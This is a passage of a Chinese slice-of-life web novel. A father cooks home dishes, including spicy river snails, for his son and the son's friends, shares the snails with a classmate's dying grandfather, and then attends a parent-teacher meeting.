楚易文可能是看出来，没再继续这个话题，而是说：“我还要去买点百叶结，你们待会在车上等我一下。” 他说完车子已经在附近另外一个市场停下来，很快就去卖豆制品的摊子买到百叶结。 楚易文上车将百叶结放好后，又顺手将手里几串冰糖葫芦分给几个孩子：“给。” “谢谢楚爸。” 胡一齐话落，楚瑾钰却是嘀咕道：“怎么又是冰糖葫芦……” “冰糖葫芦挺好吃的。”坐在他旁边的叶其林道。 “楚爸来，你先吃。” 副驾驶上，胡一齐扒开冰糖葫芦的包装后递到楚易文面前。 楚易文本来不想吃，见最前面那颗糖葫芦都碰到他嘴唇，只能咬下来。 表面那层甜滋滋的糖壳咬开，里面的山楂吃起来绵软微酸，山楂的酸和冰糖的甜组成酸酸甜甜的滋味，很是开胃。 “楚爸你可不能厚此薄彼。”叶其林说完扒着前座将自己那串递过去。 见吃个冰糖葫芦还整出“厚此薄彼”来，楚易文带着几分无奈又咬下颗冰糖葫芦。 楚瑾钰看到他爸脸上的表情，立刻将冰糖葫芦也伸过去：“爸，我可是你亲儿子，你得吃两个。” 商时贸觉得自己不能不合群，下一秒就将冰糖葫芦同样递过去。 “你们真是……”楚易文能怎么办，只能又吃了三颗冰糖葫芦才开车回家。 看到他爸脸上无奈的表情，楚瑾钰却是乐得唇角上扬，感觉手里冰糖葫芦都比往常好吃。 到家后已经快十一点，楚易文去厨房做饭，同时提醒：“你们作业做完没？没做的话趁现在赶紧做，做完下午还能玩一会。” “不知道是不是冰糖葫芦给我吃开胃了，现在感觉特别饿，没力气做作业。”胡一齐不想做作业，觉得能拖一会拖一会，于是找理由。 同样不想现在就做作业的楚瑾钰跟着点头：“我也做不动，还是吃完午饭再说。” 楚易文拿他们没办法，只能赶紧做午饭去。 他先将买回来的咸肉切块泡水，好去除杂质和多余盐分，随即开始处理其他食材。 楚瑾钰和胡一齐已经摊在沙发上不想动弹，叶其林跑到厕所去，倒是商时贸，坐了会就进入厨房，帮忙剥春笋、剥蒜。 “不用帮忙了，你出去休息会，吃点水果去。”楚易文将菜备得差不多后，就边将咸肉、鲜肉先放进砂锅里开始做腌笃鲜，边赶商时贸出去。 腌笃鲜先炖上，楚易文开始做土豆烧鸡。 当烧鸡那股浓郁的肉鲜味从厨房飘出去时，胡一齐闻见香味是真开始饿了，肚子咕咕叫起来。 茶几上有刚买回来的枇杷，还有饼干薯片等小零食，然而闻着那股鸡肉香味，他却是根本不想吃零食，只想留着肚子吃午餐。 由于几个孩子都喊饿了，楚易文尽量加快做菜的速度，在土豆烧鸡收汁时，顺手就将昨天没吃完的马兰头给凉拌好。 昨天菜园子里摘的辣椒还有好多，加上刚刚去码头菜市场又买了不少土鸡蛋，能土豆烧鸡出锅，楚易文拿辣椒炒了个鸡蛋，然后开始做韭菜炒河虾。 刚到家他就借着回房间换衣服的空隙去系统厨房学会新菜谱，此时手法很是熟练地用大火将河虾爆炒。高温下，河虾很快变色，橙红色看起来很是漂亮。 随着河虾外壳被炒酥，一股河鲜特有的浓郁香气飘出来，香味顺着厨房窗户传出去时，甚至引来只橘猫在外面喵喵叫。 胡一齐听到动静被吸引到厨房，直接从锅里蹭了两个河虾，一个透过窗丢给橘猫，一个塞进自己嘴里。 楚易文看到他的动作又好笑又无奈，将炒好的河虾盛出来备用，锅里留点底油下去姜、蒜、干辣椒，爆出香味后先炒韭菜梗，再将韭菜叶与河虾一起倒入。 说实话，如果不是老爷子教他，他还真不知道炒个韭菜河虾还有那么多讲究，韭菜竟然还要分两次炒。 在他用小火将干辣椒、姜、蒜爆香时，胡一齐偷偷从盘子里偷了不少河虾，在窗外橘猫的喵喵声中全部投喂出去。 就在胡一齐觉得这猫还挺可爱，想着要不要出去撸几把时，吃完他投喂的河虾，闻见干辣椒有点呛人味道的橘猫直接转身就跑。 “嘿！这猫可真现实，吃完就跑！”胡一齐吐槽完，很快就被扑鼻而来的韭菜炒河虾香味给馋到，转头望着锅里红绿相间的菜咽口水。 听到他咽口水的声音，楚易文想到冰箱里还有上次做的冷吃牛肉，于是道：“可以吃饭了。” 他话落，楚瑾钰三人直接冲进厨房，很快就把饭菜端上桌。 凉拌马兰头、土豆烧鸡、辣椒炒蛋、冷吃牛肉、韭菜炒河虾，还有腌笃鲜，光是看着就令人食欲大开。 楚瑾钰望着那盘卖相诱人的韭菜炒河虾，心里越发佩服他爸，觉得他还真是什么都会做。 橙红色河虾配上碧绿可喜的韭菜，不论是卖相还是香味都特别诱人，韭菜的辛香和河虾那股鲜味完美融合，加上干辣椒带来的微微辛辣气息，令人食指大动。 楚瑾钰握着筷子夹起一些送进嘴里，河虾焦脆中透着咸鲜，韭菜脆嫩中带着几分清甜，两种口感凑在一起，简直绝了。 第43章 香辣田螺 这个双休日对楚瑾钰他们来说既玩高兴也吃爽了, 等到星期一去上学时还保持着好心情。 三月份结束没几天就到了清明节，假期楚易文父子二人回老家祭祖，去时给表姨奶他们带了好多东西, 走时后备箱同样被塞满各种吃食。 到家时楚瑾钰跟着一起整理东西，在把田螺倒入桶中时随口问：“爸，晚上吃田螺吗？” 清明螺肥过鹅，这会正是吃田螺的季节，这桶田螺有些是楚瑾钰自己在老家河里摸的，有些是老家亲戚看到他摸田螺，直接送过来不少。 “今天还吃不成, 要先泡在水里吐吐沙。”楚易文说完，等将其他东西都收拾完，走过来拎起那桶田螺, 先用清水洗几遍，再重新加入清水浸泡田螺，并往水里撒几勺盐, 倒点油。 盐和食用油能让田螺将泥沙吐得更加干净，能做成菜时就不会有沙和很重的土腥气。 作业已经在老家做完, 剩下半天假楚瑾钰无事一身轻，于是坐在客厅吃着水果打游戏。 “马上不是快期中考试了，你不用复习？”看到他打游戏都没个坐像，还躺着玩, 楚易文从厨房出来后说。 楚瑾钰并不想复习，随口敷衍：“期中考试还早着，不急。” 他这会大言不惭地说期中考试还早，等到第二天到学校时，听到班主任说十五号开始期中考试, 掰着手指头一算，发现下周就要考试，直接“靠”了一声，惹得同桌邵言易朝他看过来。 楚瑾钰想到之前答应他爸这学期要考前二十名，忽然就开始有种紧迫感，下课时也不跟胡一齐打闹了，临时抱佛脚般翻起各科课本。 “你在偷看什么书？” 胡一齐看到他下课还捧着语文书，不认为他有那么爱学习，怀疑他是在语文书皮底下包了小说。 楚易文头也不抬道：“别影响我学习。” “都下课了，你学习个鬼啊，走，我请你喝饮料去。”胡一齐手里有从他爸那要过来的五万块钱，好像不花完心里不舒服一样，从开学到现在，经常请几个朋友去小卖部买零食吃。 只能说还好楚瑾钰他们几个本身都不缺零花钱，不然就他这大方劲，估计再多钱都能给他消掉。 楚瑾钰本身就没那么想看书，被胡一齐一叫，想着明天再复习也不迟，直接跟他出去。 他们班比较靠里面，下楼梯时会经过隔壁班，楚瑾钰从隔壁班走过时余光瞧见有人在偷偷瞪自己，直接握着拳头给了个“是不是还想挨揍”的示意。 “那煞笔有毛病吧，干嘛总是盯着你？”胡一齐骂完忽然道，“他该不会暗恋你吧？” “滚！你少恶心我。”楚瑾钰鸡皮疙瘩都要起来了，说完伸手就要打他。 上午时间过得特别快，转眼放学铃声就响起，本来被老师上课声给催眠，有些昏昏欲睡的胡一齐听到铃声瞬间精神起来。 “今天你回家吃还是楚爸过来送饭？”老师前脚出教室门，后脚胡一齐就冲楚瑾钰喊。 楚瑾钰：“懒得回家，我爸送饭过来。” 班里其他同学听见这话，多少都有些羡慕，觉得要是他们有做饭那么好吃的爸爸，怎么可能会懒得回家，那得每次放学就撒腿往家里跑。 胡一齐听到是他爸送饭过来，特别积极地起身往外跑，楚瑾钰跟叶其林三人则是慢悠悠跟在后面。 跟他们的悠闲不同，其他同学不管是回家还是去食堂吃饭，都走得特别快，尤其是吃食堂的同学，生怕走慢了又要排长队，有些直接跑起来。 胡一齐最先到校门口，从楚易文手里接过午餐，发现有个单独用袋子装着的餐盒时，拎起来好奇道：“楚爸，这盒子里是什么？”他瞧着颜色也不像水果盒。 “是香辣田螺，清明从老家带回来的，有好多还是瑾钰他亲自从河里摸的，你们尝尝喜不喜欢。” 楚易文话落，楚瑾钰三人正好走过来。 “爸，你拿牙签了吗？”楚瑾钰在老家就吃过他爸做的田螺，味道那叫一个绝，就是他始终没学会怎么嗦螺蛳，只会用牙签挑着吃。 “拿了，在袋子里，里面还有一次性手套和湿纸巾。” 只能说楚易文现在越来越会照顾人，从最开始水果都是整个洗给孩子吃，到现在还知道给孩子带一次性手套和湿纸巾。 “隔着袋子都闻见香味了，楚爸你做的田螺肯定好吃，我口水都快流下来了。”胡一齐举起装香辣田螺的袋子凑近去闻，隔着重重包装都闻见那股带着香辣气息的田螺鲜味，已经开始嘴馋。 楚易文跟他们闲聊几句，就让他们快去吃饭，免得待会时间来不及。 等他离开，楚瑾钰四人立刻往食堂方向走，跟从教学楼出来时比，几个人脚步明显都加快不少。 “哇！好香啊！” 胡一齐刚找到位置坐下，迫不及待先打开袋子里那三盒香辣田螺，一股霸道浓烈的香味瞬间从盒子里喷涌而出。花椒和干辣椒的辛辣是主调，随即就是田螺特有的鲜香，同时由于里面还放了点紫苏叶，尾调带着股独特的清香。 自家做的田螺清洗得特别干净，透过汤汁的红油，能看清里面躺着的青黑色螺壳上清晰漂亮的螺纹，看起来卖相十足。 胡一齐手套都来不及戴，在香辣田螺的色与香的诱惑下，直接捏起一个塞到嘴里，螺壳上的汤汁轻轻吮吸，一股浓郁咸鲜麻辣气息带着酱香味从味蕾上蔓延开来，花椒带来的麻和干辣椒的辣，又刺激又过瘾。 还没吃到螺蛳肉，光是汤汁味道就已经惊艳到他，开始卖力往外嗦螺肉，结果没嗦出来。 “给你牙签。” 楚瑾钰好心地将牙签递过去，胡一齐却是有些不信邪，捏着螺壳用力吸着，差点没被汤汁呛着自己。 “你在干嘛？这不是一吸就出来了。” 叶其林看到他吃得那么费劲，捏起个田螺送到嘴边，轻轻一嗦螺肉就进嘴，配上汤汁的滋味，肉质紧实弹牙，吃起来麻辣鲜香而不腥，简直是人间美味。 他吃完回味着嘴里的余味，连连点头：“好吃，这田螺太够味了。” “你怎么吃的？为什么我就吸不出来肉？”胡一齐最终还是用牙签将那个死活嗦不出来的田螺肉挑出来，终于吃到肉，他咀嚼得特别满足，吃完还不忘请教叶其林。 叶其林：“就这样对着口轻轻一嗦就出来了。” 他拿起只田螺边说边示范，由于汤汁实在太美味，让他吃完螺肉忍不住将壳上味道吸完才舍得丢。 跟胡一齐不死心不同，楚瑾钰觉得能用牙签吃到肉干嘛要那么费劲，一手捏着牙签，一手捏着田螺，很快就吃掉好几个。 唔，真好吃！ 感觉他爸今天做的香辣田螺比在老家时还要美味，楚瑾钰吃得有些停不下来。 清明田螺确实肥，但它大小在那，肉再肥也就那么一丢丢，可就是这么一丢丢的肉，配上花椒、干辣椒、葱、姜、蒜紫苏等调味一起炒出来，却是吃得令人上瘾。 “你们都不吃饭了？” 商时贸看到他们一心吃田螺，难得发扬当大哥的精神，动手将饭盛好放到他们面前。 香辣田螺确实美味，就是吃起来有些费事，吃它把两只手都占着，还真有点不方便吃饭。 当然，这是对楚瑾钰和胡一齐两个牙签党来说，叶其林会嗦田螺就没那么麻烦，可以用筷子夹着吃。 “楚爸今天做的这个笋子炒腊肉也好吃。”叶其林咀嚼着脆嫩的笋子，连着扒了两口饭。 胡一齐又想吃饭又舍不得放下田螺，最后很离谱地直接带着一次性手套上手抓饭。 “你够了，要吃饭好好吃。”眼见他还想直接上手抓菜，商时贸哪受得了这个，赶紧开口。 最终胡一齐只能吃几个田螺，再用油乎乎的手抓着筷子吃几口饭菜，如此反复。 香辣田螺单吃很美味，用来配饭同样很香，重口的调味配上香喷喷的大米饭，简直越吃越香，越吃越过瘾。 “我感觉我一个人就能吃好几盒……” 香辣田螺吃多了还是有一点辣的，胡一齐微微吸两口气后，望着面前油润红亮的田螺说。 楚易文用的是大盒子，一盒就能装好多田螺，分量绝对不少，就这胡一齐还嫌不够吃，看得出来是真喜欢。 “我从老家带了一大桶回来，放心，绝对够你吃。”楚瑾钰说完丢下手上吸干净的田螺壳，失去汤汁恢复原本青黑色的田螺和桌上吃剩的壳轻轻碰撞，发出清脆的声音。 他们几个是吃爽了，田螺特有的麻辣鲜香气息，却把坐在附近的其他学生给馋坏。 “这味道，让我想起来小学时学校里卖的那种透明袋子的田螺小零食，香香辣辣，特别好吃。” “别说了，本来就馋，说得我更想吃了。” “学校外面好像有田螺卖，要不我们下午出去吃？” “可是我怕外面的田螺不干净……” 往常有吃不完的菜时，楚瑾钰他们是不介意跟班上同学分享的，不过今天可能是香辣田螺太美味，胡一齐有些护食。 午餐结束还剩一盒半田螺没吃完，他直接表示可以当零食，留着下午满满吃。 “行吧，随便你。”楚瑾钰倒是无所谓。 胡一齐说当零食吃，还真就一下课便打开盒子吃田螺，商时贸其实有些嫌田螺吃起来麻烦，但还是拒绝不了它的美味，多戴几层手套后跟着一起吃起来。 楚瑾钰拿着两个一次性杯子，一个杯子用来装田螺，另外那个用来装吃完的壳。 “尝尝，我自己在老家摸的田螺，我爸洗得特别干净。”他吃两个后，端着杯子跟同桌分享。 如果是那种特别贵的巧克力、饼干什么，邵言易可能就拒绝，听到是他自己摸的田螺，在他都已经送到面前来时，到底还是尝了几个。 “很好吃，调味调得很香。”邵言易吃完真心实意夸赞。 前段时间他奶奶在家也做了田螺，味道很不错，不过他奶奶做出来味道偏家常。他感觉楚瑾钰手里这份，都可以直接去外面卖，甚至比外面卖的还好吃。 “你行啊，竟然会嗦螺蛳。”楚瑾钰说完直接把手里那杯全部给他，自己则是去胡一齐那边又拿过来一份。 田螺还没吃过瘾，上课铃声响起，几人只能赶紧把垃圾丢进垃圾桶，收拾好桌面准备上课。 生物老师进教室时，在讲台上刚讲没几分钟，就直接走下来：“谁在教室里偷吃零食？” 他问话的同时已经走到胡一齐附近，闻见这块味道最浓，直接看着胡一齐道：“胡一齐，是不是你？” “老师我可没偷吃，是下课吃的。”胡一齐说完拿出课桌里那盒没吃完的田螺，“你看，盖子都是盖好的。” 生物老师闻着那股格外浓郁的鲜香味，故意吓唬道：“你还敢吃田螺？知道田螺里有多少寄生虫吗？” “这是我楚爸自己在家做的，洗得特别干净，才不会有寄生虫。”胡一齐说完直接打开盖子，“石老师你要不要尝尝？” 他们班生物老师性格很好，上课风趣幽默，经常讲着讲着会延伸很多有趣的课外知识。别说胡一齐，就是普通学生都不怕他。 扑鼻而来的香味很是霸道，花椒、干辣椒的辛辣，八角、桂皮等香料组成的复合香气，田螺特有的河鲜香味，直接勾起人心里最深处的食欲。 生物老师嘴上想拒绝，手却很诚实地接过盒子，捏起一个田螺送到嘴边。 田螺已经被汤汁给浸透，螺壳内都是满满的汤汁，轻轻一嗦，麻辣鲜香的汤汁和螺肉一起进嘴，紧实的螺肉特别有嚼劲，配上渗进肉里的汤汁，越吃越辣，越吃越香。 “老师，我也想吃！” 班上其他同学看到他吃得那么香，忍不住开口嚷嚷。 “别急，等我再尝尝味道。”石老师说完又连吃几个，看他那熟练的动作，平时肯定没少吃田螺。 “石老师，怎么样？好吃吧！”胡一齐问。 “田螺处理得挺干净，连泥腥味都没有，味道更是没得说，这真是家里做的？”石老师回味着嘴里的余味，只觉得以前吃的田螺都比不上手里这份。 “当然了。”胡一齐说完见他还吃，赶紧道，“石老师你该上课了。” “不急，正好我们来讲讲田螺的生物构造……” “老师你吃独食！” “老师我也要吃！” 眼见石老师一个人吃得那么香，还要给他们讲田螺，班里其他同学顿时不干了。 “你们想吃得问胡一齐，我可不干借花献佛的事。”石老师说完又吃一个田螺。 “老师你拉倒吧，你明明是想自己独吞。” “就是就是！” 眼见教室气氛如此热闹，对胡一齐这个本身就不喜欢太严肃课堂气氛的学渣来说，他还真愿意将田螺分享出去。 不过开口前他还是先看向楚瑾钰，确定他没意见才说出来。 于是这节生物课直接变成田螺鉴赏大会，同学们每人分到一个田螺，边吃边听生物老师讲和田螺相关的生物知识。 “好好吃啊！” “闻起来香，吃起来更香，又辣又过瘾，根本不够吃。” “你不吃吗？” “我有点不敢吃……” “不敢吃给我，我帮你吃。” 并不是所有人都喜欢吃田螺，班上有几个学生不太敢吃，不过看到其他同学都吃得特别香，甚至有人连吃完的田螺壳都舍不得吐出来，又不愿意给别人。 “你试试，真的很好吃，田螺肉特别有嚼劲，不是软乎乎那种，而且一点腥味都没有，特别香。” 余思语见自家同桌不敢吃，给她描述起香辣田螺的味道。 同桌犹豫两秒，终于试着送进嘴里，发现确实没有她想象中那种黏糊糊软趴趴的恶心，而是很有嚼劲的肉感，配上麻辣鲜香的汤汁，吃完让她有些意犹未尽。 氛围特别好的一节课结束，整个教室都弥漫着香辣田螺特有的麻辣鲜香，直到门窗都打开一会还没完全散去。 下课时间，有实在太爱香辣田螺味道，刚刚根本没吃够的同学忍不住凑到楚瑾钰桌前：“楚瑾钰，你爸做的香辣田螺太好吃了，我可以跟你买点吗？” 坐在楚瑾钰前排的那个女生听到这话，忍不住转过头来：“我也想买点，我爷爷生病住院了，他以前最爱吃田螺，我想买点给他尝尝。”她声音有点紧张，看得出来是鼓起勇气才开口。 她话落，楚瑾钰还没说什么，胡一齐先笑起来：“想吃田螺也不至于咒你爷爷住院吧？有常识都知道，病人不可以吃这种辛辣刺激的东西。” “是医生说让他接下来想吃什么就吃……” 女生话落，胡一齐反应过来时，瞬间有种“我真该死”的感觉。 对上他投过来的求助眼神，楚瑾钰白他一眼后开口：“没事，都是同学，不用买，正好我家里还有不少田螺，明天给你带一份。” 跟人家病重不剩几天好活的爷爷比起来，其他同学已经不好意思再为的自己的口腹之欲朝楚瑾钰开口。 等到下午楚易文过来送饭时，楚瑾钰直接把这事告诉他，楚易文二话不说就答应。 “要不我回去就做，等你下晚自习时送过来顺便接你回家。” 楚易文想着明天送的话，不管是中午还是下午，人家孩子拿到再去医院怕时间赶不及。当然，还有一个原因则是，医生都说这个话，那说明老人时间已经不多，说不准突然就走了。 至于晚上适不适合吃香辣田螺？人都已经在熬日子了，哪里还用讲究那么多。 “也行。” 楚瑾钰点头答应时，胡一齐还在懊恼：“我下次再也不嘴欠了……” “没事，下次注意就好。”楚易文安慰道。 给几个孩子送完饭回家，楚易文直接进厨房从养田螺的桶里捞出来一小盆，再次清洗后用钳子钳掉田螺尾巴。 田螺吃起来麻烦，做起来其实也挺费劲，他花费不少时间才钳干净，起身开始往锅里加冷水，下入田螺、姜片、葱结和料酒开始焯水去腥。 田螺从锅里捞出来，他再次用温水清洗，将田螺里残留的杂质和腥味全部洗掉，洗完的田螺每个看起来都青黑透亮，特别干净。 食材处理好，楚易文终于能起锅烧油，先将葱姜蒜爆出香味，再加入干辣椒、花椒、八角等香料炒出香味，最后加入豆瓣酱炒出红油。 底料香味从锅里飘出来，那叫一个麻辣鲜香，随着田螺倒入其中，青黑色螺壳裹上红色汤汁，楚易文调大火快速翻炒的同时，伸手在锅边淋上一圈料酒，又加入生抽、老抽、一点点白糖，很快翻炒出来的田螺颜色更加诱人。 田螺上色后，还需要小火焖煮，这样能更加入味。 他还在忙活着做香辣田螺时，学校里，楚瑾钰吃完晚饭就跟前排女生说了声，让她下自习跟自己一起去学校门口拿田螺。 女生有点惊讶，没想到今天就能拿到田螺，不过想到医院里昏睡时间越来越长的爷爷，还是赶紧道谢。 想到医生说爷爷可能就这两天的日子，女生心里难受的同时，开始期盼快点下晚自习。 学校放学铃声还没响时，楚易文已经拎着做好的田螺来到校门口，在看到儿子的身影时喊：“瑾钰。” 楚瑾钰听到他爸的声音，立刻小跑过来，接过他手里的带着递给跟在自己后面的女生。 “谢谢。”女生先向他道谢，随即又看向楚易文，“谢谢叔叔。” “不客气，快去看你爷爷吧，需不需要叔叔送你去医院？”楚易文问。 “不用，谢谢叔叔。”女生不想再麻烦他，说完自己在校门口打辆车直奔学校。 人做完好事时心情是会不自觉变好的，楚易文目送她离开，对胡一齐他们道：“上车，我送你们回家。” 胡一齐三人没跟他客气，尤其是知道车上有好吃的时，直接都冲上车。 第44章 清炖牛肉汤 医院。 张玟文来到病房时, 她爸妈都在里面，她一进门就开口问：“爸，妈, 爷爷今天怎么样？” 张父没有说话，张母则是微微叹气：“今天几乎一直在睡，喊他吃饭说没胃口吃不下，只喝了几口粥……” “我带了香辣田螺，爷爷以前最爱吃这个了。”张玟文边说边打开手里袋子。 “你爷爷现在哪能吃这个，别胡闹。” 听到香辣田螺，张母下意识就觉得不是病人能吃的东西, 语气透着不赞同。 “我问问爷爷想不想吃。”张玟文说完将手里那盒香辣田螺打开，一股霸道的麻辣鲜香瞬间飘满整个病房。 “爷爷……” 张父、张母最近忙着照顾病人，夫妻二人这段时间吃不好, 睡不好，此时闻见香味，食欲却是有些上来。 病床上, 满脸皱纹的老人听见孙女的声音，眼皮轻颤两下后睁开, 浑浊的眼珠子在看清楚孙女脸时微微透出几分光彩。 “爷爷，你以前不是说清明前后的田螺最好吃，我给你带了份香辣田螺，你想不想吃？” 她话落, 老爷子朝她伸出手，嘴巴有气无力地说了句什么，张玟文大概听见个“吃”字，于是伸手扶他坐起来。 “爸这会能吃这么重口的东西吗？” 张母有些不放心，张父却道：“只要吃得下, 就让他吃吧。” 他还有句话藏在心里没有说出来，那就是再不吃怕是没有机会。 张父说完，帮女儿一起将老爷子扶起来坐好，随即站在旁边看女儿拿着牙签挑螺肉喂过去。 “爷爷，好不好吃？” 老爷子此时连吃东西都有些费劲，缓慢咀嚼着嘴里的田螺肉，他味觉早就退化，刚开始甚至没尝出什么味，直到多嚼几下，麻辣味刺激味蕾，唤醒他沉睡很久的味觉。 “好……好吃……” 老爷子吃着嘴里麻辣鲜香的田螺肉，脑海中却是回忆起曾经和老朋友一起喝酒吃螺蛳的日子，还有老伴给自己炒田螺下酒的画面，以及更早之前，自己在河里摸田螺的童年。 看到爷爷吃着田螺脸上不自觉露出笑容，张玟文赶紧又喂过去一个田螺肉。 被田螺的麻辣鲜香唤醒食欲，老爷子主动凑到牙签旁吃着田螺肉，可能吃到美□□神都暂时恢复一些，他说话没有再大喘气：“这田螺，跟你奶奶以前做的一样好吃……” 张父听到他提起自己母亲，想到母亲去世已有好几年，现在父亲也要离自己而去，眼眶忽然有些发红。 或许是为了在妻女面前掩饰情绪，他低头从盒子里拿起个田螺送进嘴里，先是浓郁的酱香和咸鲜在舌尖化开，下一秒，一股麻辣味瞬间在口腔里蔓延开来，又刺激又过瘾。 “确实跟妈做的一样好吃，就是有点辣。”张父将田螺壳丢进垃圾桶，和桶内的壳碰撞在一起，发出清脆的声音。 第二天，张玟文到学校后再次向楚瑾钰道谢，说香辣田螺她爷爷很喜欢，吃了好多。 除了道谢，她还塞了一袋水果给楚瑾钰，说是她爸妈让拿过来的。 楚瑾钰拒绝不了，只能放学后拎回家，告诉他爸水果是人家感谢他做的香辣田螺。 时间过得飞快，等家里那桶田螺吃完时，很快就到期中考试时间。清明放假时楚瑾钰哐哐玩，考试前他临时抱佛脚，考完试后想到成绩已定，担心也没用，又开始放飞自我地玩耍起来。 期中考试成绩很快出来，楚瑾钰考了第二十六名，比上个学期末还掉了一名。他本来就有点心虚，结果班主任还要开家长会，瞬间有些后悔起来，觉得早知道考试前就认真复习一下。 “爸，家长会你有时间去吗？” 楚瑾钰想要听到否定的回答，但楚易文现在又不用去公司，怎么可能没时间去。 “你为什么会觉得我没时间去？”楚易文不答反问。 楚瑾钰嘀咕道：“你以前都没空去。” “高一那次确实是我正好在外地，没空去，但之前你读初中和小学时，明明是你不让我去，非要你爷爷奶奶去。” 楚易文觉得有些话得说清楚，省得他总觉得自己不管他。天地良心，他工作确实忙，但还不至于每次家长会都没空。 “有吗？”楚瑾钰说完下意识回忆起来，还真让他想起确实是这样。 其实很正常，小孩子是小又不是傻，家里谁更惯着自己他心里都有数，自然更愿意让爷爷奶奶去，毕竟爷爷奶奶开完家长会路上还能给买零食吃。 楚瑾钰无话可说，只能赶紧瞎扯些学校里的八卦来转移话题。 很快就到家长会当天，楚易文穿着白色衬衣，灰色休闲裤来到学校，手里还拎着给几个孩子带的零食。 “楚爸你来了！” 胡一齐看到他比看到自己亲爸还热情，尤其是发现他手里拎着不少吃食时。 “楚爸！” “爸！” “给你们带了点虾干和牛肉干。”楚易文看到几个孩子，笑着将手里吃食递过去。 “楚爸你竟然连牛肉干都会做！太厉害了！”胡一齐说完直接打开袋子拿起一条，发现是香辣味的，吃起来特别有嚼劲，比外面卖的还好吃，眼睛瞬间亮起来。 叶其林：“楚爸你做的牛肉干好香啊！肉味特别浓郁，好吃！” 叶父几分钟之前就到了，此时看到儿子对别人爸爸那么热情，心里有些酸。 他下意识打量起对方来，在发现对方比他高比他瘦，看起来还比他更年轻时，嘴巴里更是像吃了柠檬一样。 当然，心里酸归酸，自家儿子跑过去吃人家的，他这个当父亲的总不能太没礼貌，于是压下心里酸意过去打招呼。 得知他是叶其林爸爸，楚易文笑着回应：“你好。” “爸，你尝尝，楚爸做的牛肉干和虾干都特别香，比外面买的还好吃。” “我家儿子平日里真是给你添麻烦了，实在不好意思。”叶父拿着儿子直接塞过来的吃食，带着几分无奈对楚易文说。 楚易文：“哪有，其林很懂事，他跟我们家瑾钰玩得好，几个孩子一起学习也有伴。” 学习？ 叶父觉得就自家儿子那个贪玩的德行，跟朋友一起能学习就有鬼。 他心里腹诽的同时，可能是手里牛肉干确实香，不自觉咬了一口，那浓郁的肉鲜混着恰到好处的香辣味，简直越吃越香。 外面卖的某些肉干吃起来香归香，但调料味却是有些重，有些甚至调味料直接压过肉味。 楚易文自己做的牛肉干选用上好牛肉，调料只是为了去腥增香，完全没有压过肉味，吃起来有种越吃越过瘾，越吃越香的惊艳感。 “你做的牛肉干确实好吃，怪不得我家这个没出息的天天往你家跑。” 随着家长越来越多，叶父跟楚易文走进教室里，两个人聊着聊着，很快找到共同话题——钓鱼。 叶父喜欢钓鱼，但首先他忙，能钓鱼的时间不多，其次人菜，大部分时候都钓不到鱼。 得知楚易文喜欢钓鱼，而且还钓上来过大鱼，他是又羡慕又佩服：“那等什么咱们一起去钓鱼。” “可以啊，我随时都有空，你想钓时招呼一声就行。” 楚易文能白手起家，在与人沟通这方面绝对有天赋。 明明最开始叶父对他还是酸柠檬心态，等聊会天后立刻就觉得他人很不错，已经开始亲热地跟他称兄道弟。 甚至直到班主任过来，他还没跟楚易文聊够，可惜现在胡一齐和楚瑾钰已经不是同桌，他只能回儿子位置上去。 楚易文结束跟他之间的闲聊，立刻又转头跟邵言易奶奶打招呼：“婶子，没想到这么巧，这学期两个孩子竟然是同桌。” “是啊。”邵言易奶奶脸上露出笑容，也觉得很巧。 两个人才寒暄几句，班主任已经走到讲台开始说话，班里很快就只剩下班主任一个人的声音。 在老师开始点名表扬时，其中就提到楚瑾钰，说他班上进步最明显的学生之一，还让楚易文上台分享一下孩子最近进步的原因。 显然，班主任并没有拿楚瑾钰期中考试成绩和上学期期末比，而是对比上学期期中考试的名次，觉得他整体进步还是挺大。 楚易文虽然感觉没什么好说的，但老师都开口，他也没怯场，大大方方走上台，简单说了下孩子在家的学习情况。 在他上台时，教室里个别家长忍不住小声议论起来：“这楚瑾钰同学的爸爸长得真年轻，说是孩子哥哥我都信。” “确实……” 班里今天过来的男家长不算多，大部分都是孩子妈妈或者爷爷奶奶外公外婆，在男家长里，楚易文确实有些鹤立鸡群。对比那些中年发福，挺着肚子的男人，他看起来就要清爽得多。 楚易文从讲台上下来时，商时贸妈妈忍不住多看他两眼，当然，倒不是因为他长得帅，而是想到过年时家里闹出的乌龙，有些好奇被儿子挂在嘴边的“楚爸”。 大年三十那天，他们一家人在老爷子家过年，临近十二点时，商时贸发语音消息给楚易文拜年，祝他新年快乐。结果商父听到“爸”字以为在跟他拜年，板着脸表示“长幼有序，他哥都没开口，他急个什么”。 等到商时贸说清楚是跟楚易文拜年时，商父当即就恼羞成怒，说他不该随便喊别人爸。 教室里在开家长会时，操场上，楚瑾钰边啃牛肉干边嘀咕：“希望老班别告状……” “咱们最近又没在学校里惹事，老班能告什么状。”胡一齐说完又往嘴里塞口牛肉干。 说最近没惹事，说明之前惹过，某方面来说，他还挺有自知自明。其实四人在学校算是出了名的刺头，高一刚入校时就和高三的学生起了矛盾，军训时更是差点带着班里同学跟隔壁班打起来。 这还不算，高一下学期时，食堂有段时间食材特别不新鲜，而且菜里经常吃出异物，其他学生只是私下骂几句，他们却是直接站在食堂窗口骂人，还直接去校长办公室告状。 楚瑾钰听到胡一齐的话，横他一眼：“你爸又没来，你当然不担心。” 他说完又有些好奇：“老班不是强调所有家长都得到吗？为什么你爸他没来？” 胡一齐：“我跟老班说我妈在外地，我爸离婚后一心只有小三，压根不管我。” “那老班应该会给你爸打电话吧？”叶其林道。 胡一齐：“我又不傻，我早就拿我爸手机把老班电话拉黑了，老班打不通，他还得心疼我呢。” “你牛！”楚瑾钰朝他伸出大拇指。 家长会快结束时，学生们都凑到教室门口，在家长们出来时各找各妈去。 “你们老师夸你了，可得继续保持。”楚易文看到几个孩子，先夸了下自家儿子，随即又看向胡一齐，“一齐也很棒，期末继续加油。” 他夸完两个孩子，想着不能厚此薄彼，又把叶其林和商时贸夸了一遍，尤其是商时贸。 “时贸真不错，期中竟然考了前五名，真厉害。” 商母在旁边听见，下意识道：“只是第五名而已……” 她话还没说完，楚易文笑着道：“第五名也是前五，已经很好了，全校才几个班，每个班前五名也就那么五个人。” “对啊，期中的卷子特别难做，商时贸能考前五贼厉害。”胡一齐附和道。 叶其林跟着点头：“我要是能考第五名，我爸妈能乐死。” “知道我跟你妈能乐死，也不见你努力考个前五给我们看看。”叶父听见儿子的话忍不住道。 他话刚落，张玟文妈妈走过来，向着楚易文道谢。 “你们太客气了。”楚易文见送个田螺而已，她家孩子谢过几回她还特意又过来，赶紧摆手让她别再客气。 家长会是下午最后两节课开始，结束时正好是放学时间。晚上孩子们还得上自习，因此家长们很快就都离开。 